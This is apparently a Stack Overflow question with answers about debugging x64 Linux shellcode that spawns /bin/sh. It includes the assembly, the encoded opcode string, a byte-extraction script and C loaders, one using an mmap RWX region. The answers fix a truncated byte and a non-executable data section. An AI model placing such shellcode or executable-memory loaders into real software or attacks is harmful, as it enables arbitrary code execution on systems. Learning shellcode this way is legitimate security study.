5

I am learning about shellcode development in C with an example from here. I can compile the assembly code and get de opcodes, also I can run successfully the ELF compiled with NASM, but I get a segmentation fault when I run the C test application with the embedded shellcode. I have Ubuntu 20.04 64 bits.

This is the assembly code, I can run ./shellcode and get a shell without errors.

; https://mcsi-library.readthedocs.io/articles/2022/06/linux-exploitation-x64-shellcode/linux-exploitation-x64-shellcode.html
; shellcode.asm
; nasm -f elf64 -o shellcode.o shellcode.asm
; ld -m elf_x86_64 -s -o shellcode shellcode.o

section .text
global _start                 ; we inform the system where the program begins

_start:
  xor rdx, rdx                ; zero out rdx
  push rdx                    ; push it onto the stack
  mov rax, 0x68732f2f6e69622f ; we can push 'hs//nib/' as one value, after all it is 64-bit
  push rax                    ; we push it onto the stack, so it lands at some address on the stack
  mov rdi, rsp                ; that address is where esp points to, so we store it in rdi => pointer to '/bin/sh'
  push rdx                    ; we push 0, as it will be the null termination of the array
  push rdi                    ; the address of '/bin/sh' is pushed onto the stack, it lands under another stack address
  mov rsi, rsp                ; we store that address into rsi. So rsi contains a pointer to a pointer to '/bin/sh'
  xor rax, rax                ; zero out eax to keep it clean
  mov al, 0x3b                ; 59 DEC, we move it to the lowest eax part to avoid nulls.
  syscall                     ; all arguments are set up, syscall time

I get the opcodes using this script, and I get the same opcodes of the original post.

#!/bin/bash
# extract elf opcodes

if [ -z "$1" ]
then
    echo "Usage: $0 <path to executable>"
    exit
fi

objdump -d $1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

And this is the tester.c with the embedded shellcode, which launches Segmentation fault.

// tester.c
// shellcode tester program
// gcc -m64 -z execstack -fno-stack-protector -o tester tester.c
// https://mcsi-library.readthedocs.io/articles/2022/06/linux-exploitation-x64-shellcode/linux-exploitation-x64-shellcode.html

#include <stdio.h>
#include <string.h>

unsigned char code[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05";

int main() {
    printf("shellcode length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

I have tested with -no-pie, -fno-pie, running with setarch `uname -m` -R ./tester to disable memory layout randomization and nothing.

4
  • 1
    It looks like your code is in a data section; that might not be marked executable. (-z execstack makes the stack executable, and maybe the heap, but may not make the entire binary executable). You may want to check with a debugger to see what's going on. Commented Oct 9, 2024 at 23:15
  • If that's the problem, moving the code variable inside main() (and into the stack) could be the solution. By the way, using strlen() is not a good idea, as your code could contain a valid 0x00 in the middle. Commented Oct 9, 2024 at 23:34
  • 1
    Yes @nneonneo I explored that possibility moving the array inside main without results, but you are right. It was a combination of two problems, the array as global variable plus an error on the script used to generate the shellcode, as pointed below by dbush. Now I have the right shellcode and moved inside main and it works fine. Commented Oct 10, 2024 at 1:10
  • Your shell script is unnecessarily convoluted, ask a new question just about that if you'd like help improving it. Commented Oct 10, 2024 at 12:10

2 Answers 2

4

There's a bug in the shell script that extracts the shellcode.

Running objdump -d on the object file will spit out the following disassembly:

x1.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:

   0:   48 31 d2                xor    %rdx,%rdx
   3:   52                      push   %rdx
   4:   48 b8 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rax
   b:   2f 73 68 
   e:   50                      push   %rax
   f:   48 89 e7                mov    %rsp,%rdi
  12:   52                      push   %rdx
  13:   57                      push   %rdi
  14:   48 89 e6                mov    %rsp,%rsi
  17:   48 31 c0                xor    %rax,%rax
  1a:   b0 3b                   mov    $0x3b,%al
  1c:   0f 05                   syscall 

This output is passed through a pipeline which cuts out header lines and the byte count prefixes to result in this:

    48 31 d2                xor    %rdx,%rdx
    52                      push   %rdx
    48 b8 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rax
    2f 73 68 
    50                      push   %rax
    48 89 e7                mov    %rsp,%rdi
    52                      push   %rdx
    57                      push   %rdi
    48 89 e6                mov    %rsp,%rsi
    48 31 c0                xor    %rax,%rax
    b0 3b                   mov    $0x3b,%al
    0f 05                   syscall 

Then the next command in the pipeline is this:

cut -f1-6 -d' '

This grabs the first 6 words (representing byte values) in each line. The problem is that the third line has 7 byte values, so the last one got chopped off.

This results in a missing byte in the resulting opcodes, meaning you weren't running the code you though you were.

Change that pipeline command to this:

cut -f1-7 -d' '

And you'll get the expected machine code bytes.

Sign up to request clarification or add additional context in comments.

1 Comment

Thanks, I did this and also moved the shellcode array inside main as pointed out by @nneonneo. Now is working fine.
2

Here's a simpler and less error-prone pipeline to generate the shellcode array for C:

shellcode.asm:

BITS 64
section .text
global _start                 ; we inform the system where the program begins

_start:
  xor rdx, rdx                ; zero out rdx
  push rdx                    ; push it onto the stack
  mov rax, 0x68732f2f6e69622f ; we can push 'hs//nib/' as one value, after all it is 64-bit
  push rax                    ; we push it onto the stack, so it lands at some address on the stack
  mov rdi, rsp                ; that address is where esp points to, so we store it in rdi => pointer to '/bin/sh'
  push rdx                    ; we push 0, as it will be the null termination of the array
  push rdi                    ; the address of '/bin/sh' is pushed onto the stack, it lands under another stack address
  mov rsi, rsp                ; we store that address into rsi. So rsi contains a pointer to a pointer to '/bin/sh'
  xor rax, rax                ; zero out eax to keep it clean
  mov al, 0x3b                ; 59 DEC, we move it to the lowest eax part to avoid nulls.
  syscall                     ; all arguments are set up, syscall time

The only change here is adding BITS 64 to explicitly specify the use of 64-bit mode.

Then, run these two commands:

nasm shellcode.asm -o shellcode
xxd -i shellcode > shellcode.h

and then your C code can be simply

#include <string.h>
#include <sys/mman.h>
#include "shellcode.h"

int main() {
    int (*sc)(void) = mmap(NULL, 4096, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(sc, shellcode, shellcode_len);
    return sc();
}

Note the use of mmap to create an RWX segment to store the shellcode - this means that you don't need to add -z execstack -fno-stack-protector.

2 Comments

Thanks I didn't knew the command xxd, but I get a Segmentation fault if I include shellcode.h like in your example. I solved that including the content of shellcode.h directly inside main. I think the content of shellcode.h is read only and that was the reason of the error, but I am not sure.
@RobertGG I've revised my answer to include the way I usually test shellcode - which works without requiring -z execstack -fno-stack-protector etc.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.